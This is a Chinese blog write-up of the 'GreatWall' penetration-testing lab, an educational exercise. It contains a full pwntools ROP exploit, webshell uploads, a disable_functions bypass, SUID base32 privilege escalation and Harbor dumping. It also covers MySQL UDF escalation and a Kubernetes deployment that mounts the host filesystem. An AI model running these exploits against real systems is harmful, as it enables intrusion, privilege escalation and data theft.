首页 > 其他分享 >春秋云镜 GreatWall

春秋云镜 GreatWall

时间:2024-09-16 20:06:38浏览次数:1  
标签:bin http 春秋 云镜 GreatWall flag 172.28 open 172.22

先扔fscan里扫一下
image

发现开放了80端口和8080端口的web服务.
访问8080端口发现是thinkphp框架
image

image

真有洞!写个shell进去.
image

然后使用蚁剑连接,在根目录找到了第一个flag.
flag:flag01: flag{176f49b6-147f-4557-99ec-ba0a351e1ada}
image

架个stowaway横向代理,然后传个fscan去扫内网.

./fscan -h 172.28.23.17/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.28.23.17    is alive
(icmp) Target 172.28.23.26    is alive
(icmp) Target 172.28.23.33    is alive
[*] Icmp alive hosts len is: 3
172.28.23.26:21 open
172.28.23.26:80 open
172.28.23.26:22 open
172.28.23.33:22 open
172.28.23.17:80 open
172.28.23.17:22 open
172.28.23.33:8080 open
172.28.23.17:8080 open
[*] alive ports len is: 8
start vulscan
[*] WebTitle http://172.28.23.17:8080  code:200 len:1027   title:Login Form
[*] WebTitle http://172.28.23.17       code:200 len:10887  title:""
[*] WebTitle http://172.28.23.26       code:200 len:13693  title:新翔OA管理系统-OA管理平台联系电话:13849422648微信同号,QQ958756413
[*] WebTitle http://172.28.23.33:8080  code:302 len:0      title:None 跳转url: http://172.28.23.33:8080/login;jsessionid=864BB49525C6158CC7F89624408C37AD
[*] WebTitle http://172.28.23.33:8080/login;jsessionid=864BB49525C6158CC7F89624408C37AD code:200 len:3860   title:智联科技 ERP 后台登陆
[+] ftp 172.28.23.26:21:anonymous 
   [->]OASystem.zip

发现两个存活主机

172.28.23.26
172.28.23.33

我们先去打这个172.28.23.33的8080端口web服务.
扔dirsearch里去扫一下.
image

猜测为shrio框架,且存在heapdump内存泄漏.打一下.
把heapdump下下来,用工具扫一下

java -jar .\JDumpSpider-1.1-SNAPSHOT-full.jar .\heapdump

成功泄漏了ShrioKey

===========================================
CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = AZYyIgMYhG6/CzIJlvpR2g==, algName = AES

===========================================

RemenberMe为Shrio框架的典型特征.使用综合利用工具去写马.
image

使用哥斯拉去连接
image

发现权限太低,需要去提权.查看网络情况发现开放了59696端口.
image

在home中找到了一个HashNote文件,下载下来发现大概率是个pwn.pwn一点也不会了,直接用网上的脚本打.

from pwn import *
context.arch='amd64'

def add(key,data='b'):
    p.sendlineafter(b'Option:',b'1')
    p.sendlineafter(b'Key:',key)
    p.sendlineafter(b'Data:',data)

def show(key):
    p.sendlineafter(b'Option:',b'2')
    p.sendlineafter(b"Key: ",key);

def edit(key,data):
    p.sendlineafter(b'Option:',b'3')
    p.sendlineafter(b'Key:',key)
    p.sendlineafter(b'Data:',data)

def name(username):
    p.sendlineafter(b'Option:',b'4')
    p.sendlineafter(b'name:',username)


p = remote('172.28.23.33', 59696)
# p = process('./HashNote')


username=0x5dc980
stack=0x5e4fa8
ukey=b'\x30'*5+b'\x31'+b'\x44'

fake_chunk=flat({
    0:username+0x10,
    0x10:[username+0x20,len(ukey),\
        ukey,0],
    0x30:[stack,0x10]
    },filler=b'\x00')

p.sendlineafter(b'name',fake_chunk)
p.sendlineafter(b'word','freep@ssw0rd:3')

add(b'\x30'*1+b'\x31'+b'\x44',b'test')   # 126
add(b'\x30'*2+b'\x31'+b'\x44',b'test')   # 127


show(ukey)
main_ret=u64(p.read(8))-0x1e0




rdi=0x0000000000405e7c # pop rdi ; ret
rsi=0x000000000040974f # pop rsi ; ret
rdx=0x000000000053514b # pop rdx ; pop rbx ; ret
rax=0x00000000004206ba # pop rax ; ret
syscall=0x00000000004560c6 # syscall

fake_chunk=flat({
    0:username+0x20,
    0x20:[username+0x30,len(ukey),\
        ukey,0],
    0x40:[main_ret,0x100,b'/bin/sh\x00']
    },filler=b'\x00')

name(fake_chunk.ljust(0x80,b'\x00'))


payload=flat([
    rdi,username+0x50,
    rsi,0,
    rdx,0,0,
    rax,0x3b,
    syscall
    ])

p.sendlineafter(b'Option:',b'3')
p.sendlineafter(b'Key:',ukey)
p.sendline(payload)
p.sendlineafter(b'Option:',b'9')
p.interactive()

image

得到flag:flag{6a326f94-6526-4586-8233-152d137281fd}

接下来打一下172.28.23.26,之前fscan的时候看到了ftp匿名登录,直接连接.看到了一个网站的备份文件,直接下下来.
image

开始代码审计.直接用D盾去扫一下吧...
image

头一次遇到2级可疑文件,然而阅读发现啥问题没有...手动分析.从main.php开始阅读,上来先进行了一个登录检测

<?php 
include "db.php";
include "checklogin.php";
if(!islogin()){
	header('location:index.php');
}

跟进这个checklogin发现鉴权如下

<?php
function islogin(){
   if(isset($_COOKIE['id'])&&isset($_COOKIE['loginname'])&&isset($_COOKIE['jueseid'])&&isset($_COOKIE['danweiid'])&&isset($_COOKIE['quanxian'])){
	   if($_COOKIE['id']!=''&&$_COOKIE['loginname']!=''&&$_COOKIE['jueseid']!=''&&$_COOKIE['danweiid']!=''&&$_COOKIE['quanxian']!=''){
	       return true;
	   }
	    else {
	      return false;
	   }
    }
    else {
	    return false;
     }
}
?>

逻辑很幽默,写个id=1;loginname=1;jueseid=1;danweiid=1;quanxian=1就能直接登录.
image

继续审计根目录发现还存在uploadbase64.php

<?php
/**
 * Description: PhpStorm.
 * Author: yoby
 * DateTime: 2018/12/4 18:01
 * Email:[email protected]
 * Copyright Yoby版权所有
 */
$img = $_POST['imgbase64'];
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $img, $result)) {
    $type = ".".$result[2];
    $path = "upload/" . date("Y-m-d") . "-" . uniqid() . $type;
}
$img =  base64_decode(str_replace($result[1], '', $img));
@file_put_contents($path, $img);
exit('{"src":"'.$path.'"}');

这个逻辑也很抽象,虽然会对文件名随机处理,但是允许扩展名可控,而且内容可控.直接写马.
image

使用蚁剑进行连接,发现蚁剑虽然能连上,但是干啥都是ret=127.这就很奇怪.上个phpinfo的马发现一车disable_function
image

使用蚁剑的插件去绕
image

此时会上传两个文件,修改其中的.antproxy.php文件中的$url/upload/1.php
image

然后写入一个1.php的马,注意必须是GET的(不知道为什么)
然后即可在网页端访问.antproxy.php去执行命令(蚁剑连不上)
image

权限不足以读取flag,找个suid提权

http://172.28.23.26/upload/.antproxy.php?1=system(%22find%20/%20-perm%20-u=s%20-type%20f%202%3E/dev/null%22);

如下

/bin/fusermount
/bin/ping6
/bin/mount
/bin/su
/bin/ping
/bin/umount
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/staprun
/usr/bin/base32
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/s-nail/s-nail-privsep

发现这个base32可以进行提权.

http://172.28.23.26/upload/.antproxy.php?1=system("base32 /flag02.txt");

flag:flag{56d37734-5f73-447f-b1a5-a83f45549b28}
还差三个flag,但是已经没有机器了.使用ifconfig查看网卡信息

eth0      Link encap:Ethernet  HWaddr 00:16:3e:01:8f:b0  
          inet addr:172.28.23.26  Bcast:172.28.255.255  Mask:255.255.0.0
          inet6 addr: fe80::216:3eff:fe01:8fb0/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:81502 errors:0 dropped:0 overruns:0 frame:0
          TX packets:13018 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:113122472 (113.1 MB)  TX bytes:2934091 (2.9 MB)

eth1      Link encap:Ethernet  HWaddr 00:16:3e:0b:b9:bc  
          inet addr:172.22.14.6  Bcast:172.22.255.255  Mask:255.255.0.0
          inet6 addr: fe80::216:3eff:fe0b:b9bc/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:436 errors:0 dropped:0 overruns:0 frame:0
          TX packets:437 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:19408 (19.4 KB)  TX bytes:19314 (19.3 KB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:329 errors:0 dropped:0 overruns:0 frame:0
          TX packets:329 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:29008 (29.0 KB)  TX bytes:29008 (29.0 KB)

这台机器存在双网卡,比较有说法了.
传个stowaway去挂代理.弹不出来shell,急急急!

http://172.28.23.26/upload/.antproxy.php?1=system("wget http://172.28.23.17:8000/stowaway.tar");
http://172.28.23.26/upload/.antproxy.php?1=system("tar -xvf stowaway.tar");
http://172.28.23.26/upload/.antproxy.php?1=system("./stowaway/agent -l 9999 -s test");

回到vps的node0去

connect 172.28.23.26:9999

然后就可以去node1配置socks,或是使用shell.
传个fscan去扫内网.这Stowaway的shell不支持上下滚动,也是狠人

start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.14.6     is alive
(icmp) Target 172.22.14.46    is alive
(icmp) Target 172.22.14.37    is alive
[*] Icmp alive hosts len is: 3
172.22.14.37:10250 open
172.22.14.46:80 open
172.22.14.6:80 open
172.22.14.37:22 open
172.22.14.46:22 open
172.22.14.6:22 open
172.22.14.6:21 open
172.22.14.37:2379 open
[*] alive ports len is: 8
start vulscan
[*] WebTitle http://172.22.14.6        code:200 len:13693  title:新翔OA管理系统-OA管理平台联系电话:13849422648微信同号,QQ958756413
[*] WebTitle http://172.22.14.46       code:200 len:785    title:Harbor
[+] InfoScan http://172.22.14.46       [Harbor] 
[*] WebTitle https://172.22.14.37:10250 code:404 len:19     title:None
[+] ftp 172.22.14.6:21:anonymous 
   [->]OASystem.zip
[+] PocScan http://172.22.14.46/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]

发现存在了两台存活的主机.

172.22.14.46
172.22.14.37

172.22.14.46存在harbor服务,尝试打harbor未授权

proxychains python3 harbor.py http://172.22.14.46

image

wc还真有.把这个secret下下来看看

python3 harbor.py http://172.22.14.46/ --dump harbor/secret --v2

从中成功获得了第四个flag
image

flag:flag{8c89ccd3-029d-41c8-8b47-98fb2006f0cf}
接下来把project/admin下下来.这也是这个网站默认项目(网站本身的镜像)

proxychains python3 harbor.py http://172.22.14.46/ --dump project/projectadmin --v2

然后在run.sh中发现了如下的内容

#!/bin/bash
sleep 1

# start
java -jar /app/ProjectAdmin-0.0.1-SNAPSHOT.jar
/usr/bin/tail -f /dev/null 

程序运行了ProjectAdmin-0.0.1-SNAPSHOT.jar这个文件.我们用jadx反编译看看(太久没做逆向了)
从中发现了mysql的账号和密码root/My3q1i4oZkJm3
image

使用MDUT进行登录172.22.10.28.提示可以UDF提权,直接一把梭,然后在根目录得到flag
image

flag:flag{413ac6ad-1d50-47cb-9cf3-17354b751741}
返回来看这个172.22.14.37,啥也没扫出来,比较难办.
访问了一下开的端口,10250是个api接口.还开了2379,八成是个Kubernetes
进行扫描查看

kubectl.exe --remote 172.22.14.37 

image

image

image

经分析得出6443端口进行整个api的负责,同时出现了错误的鉴权,将「system:anonymous」用户绑定到「cluster-admin」用户组,使 6443 端口允许匿名用户以管理员权限向集群内部下发指令.
检索集群中正在运行的的Kubernet信息

kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods -o wide

image

找个yaml去打

#evil-deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
  labels:
    app: nginx
spec:
  replicas: 1
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx
        image: nginx:1.8
        volumeMounts:
        - mountPath: /mnt
          name: test-volume
      volumes:
      - name: test-volume
        hostPath:
          path: /

创建pod

kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ apply -f exp.yaml

列出pod

kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods -o wide

进入pod

kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ exec -it nginx-deployment-864f8bfd6f-ngb7g /bin/bash

查看挂载的root中的mysql历史

cat /mnt/root/.mysql_history

image

进行base64解码得到flag:flag{da69c459-7fe5-4535-b8d1-15fff496a29f}

共用时5小时46分.是目前为止做过的最大规模的渗透靶场,也是第一次做没有域的靶场(全linux).第一次使用Stowaway配置代理链,很好用!基本每一步都是第一次,最后复现出来很有成就感!
image

标签:bin,http,春秋,云镜,GreatWall,flag,172.28,open,172.22
From: https://www.cnblogs.com/meraklbz/p/18416530

相关文章

  • Docker 华为云镜像加速器配置
    ​​操作说明1.安装/升级容器引擎客户端推荐安装1.11.2以上版本的容器引擎客户端2.加速器地址访问华为云容器镜像服务:https://console.huaweicloud.com/swr/获取加速器地址https://xxxxxxxxx.mirror.swr.myhuaweicloud.com3.配置镜像加速器针对容器引擎客户端......
  • 【内网渗透】最保姆级的春秋云镜Exchange打靶笔记
    目录flag1flag2flag3 flag4flag1fscan扫外网访问8000端口->官方网站 Java代码审计之华夏ERPCMSv2.3|Drunkbaby'sBlogadmin/123456弱口令打/user/list?search=的jdbc+fj反序列化vps搭一个MySQL_Fake_Serverpayload:/user/list?search=%7b%20%22%6e%6......
  • 【春秋云境】CVE-2020-26048(文件上传漏洞)
    点击路径,进入页面,尝试攻克。admin/admin弱口令成功登录寻找能进行文件上传的地方,点击“文件管理”尝试上传php后缀的一句话木马文件,发现失败上传png后缀的一句话木马文件,发现成功对文件重命名前打开bp,进行抓包,修改后缀名删除.htaccess文件(该文件具有重定向URL、......
  • 春秋云镜 Delivery
    上来先扔fscan去扫一下发现开放ftp服务允许匿名登录.登录发现存在一个pom.xml文件,内容如下<?xmlversion="1.0"encoding="UTF-8"?><projectxmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"......
  • 春秋云镜-RCE靶场漏洞复现
    CVE-2023-26469image.png靶标介绍:Jorani是一款开源的员工考勤和休假管理系统,适用于中小型企业和全球化组织,它简化了员工工时记录、休假请求和审批流程,并提供了多语言支持以满足不同地区的需求。在Jorani1.0.0中,攻击者可以利用路径遍历来访问文件并在服务器上执行......
  • 春秋云镜 Exchange
    使用fscan进行扫描得到是一个LumiaERP,开放了8000端口存在登录页面.利用网上漏洞进行信息泄露得到账号密码破解密码得到后台登录发现没有写马的地方.这里可以打一个JDBC(不懂java),去打cc6这条链子.在本地去起一个恶意的Mysql服务器,配合ysoserial-all.jar去打JDBC.注意......
  • 春秋云镜CVE-2022-28512
    目录1:开启靶机访问2:根据提示确定目标点3:访问该路径/single.php,并且id传参发现单引号闭合4:访问该路径/single.php,并且id传参,发现十个字段1:开启靶机访问2:根据提示确定目标点3:访问该路径/single.php,并且id传参发现单引号闭合4:访问该路径/single.php,并且id传参,发现九......
  • 春秋云镜CVE-2022-29464 (WSO2文件上传漏洞)
    目录一:访问靶机:2:根据提示知道可以文件上传3:两个方法一:访问靶机:2:根据提示知道可以文件上传3:我们两个方法1:使用EXPimportrequestsimporturllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)url=input("请输入URL:")file="shell.jsp"pa......
  • 春秋云镜CVE-2022-28525(ED01-CMS v20180505 存在任意文件上传漏洞)
    1:访问靶机发现是登录界面2:尝试使用弱口令爆破(明文传输)3:添加pyload并选择攻击类型字典我们随便选择的,实际情况需要实际定义爆破成功,用户名:admin密码:admin登录成功4:找到如图模块,上传图片马上传成功(上传时需要抓包改上传类型)5:使用蚁剑连接,拿到flag......
  • 百望云携手春秋航空 迈入航空出行数电票新时代
    在数字经济的大潮中,每一个行业的转型与升级都显得尤为关键,而航空业作为连接世界的桥梁,其数字化转型的步伐更是备受瞩目。随着百望云与春秋航空携手迈入航空出行数电票新时代,我们不仅见证了传统纸质票据向数字化转型的必然趋势,更感受到了科技如何深刻改变着我们的出行方式和生活质量......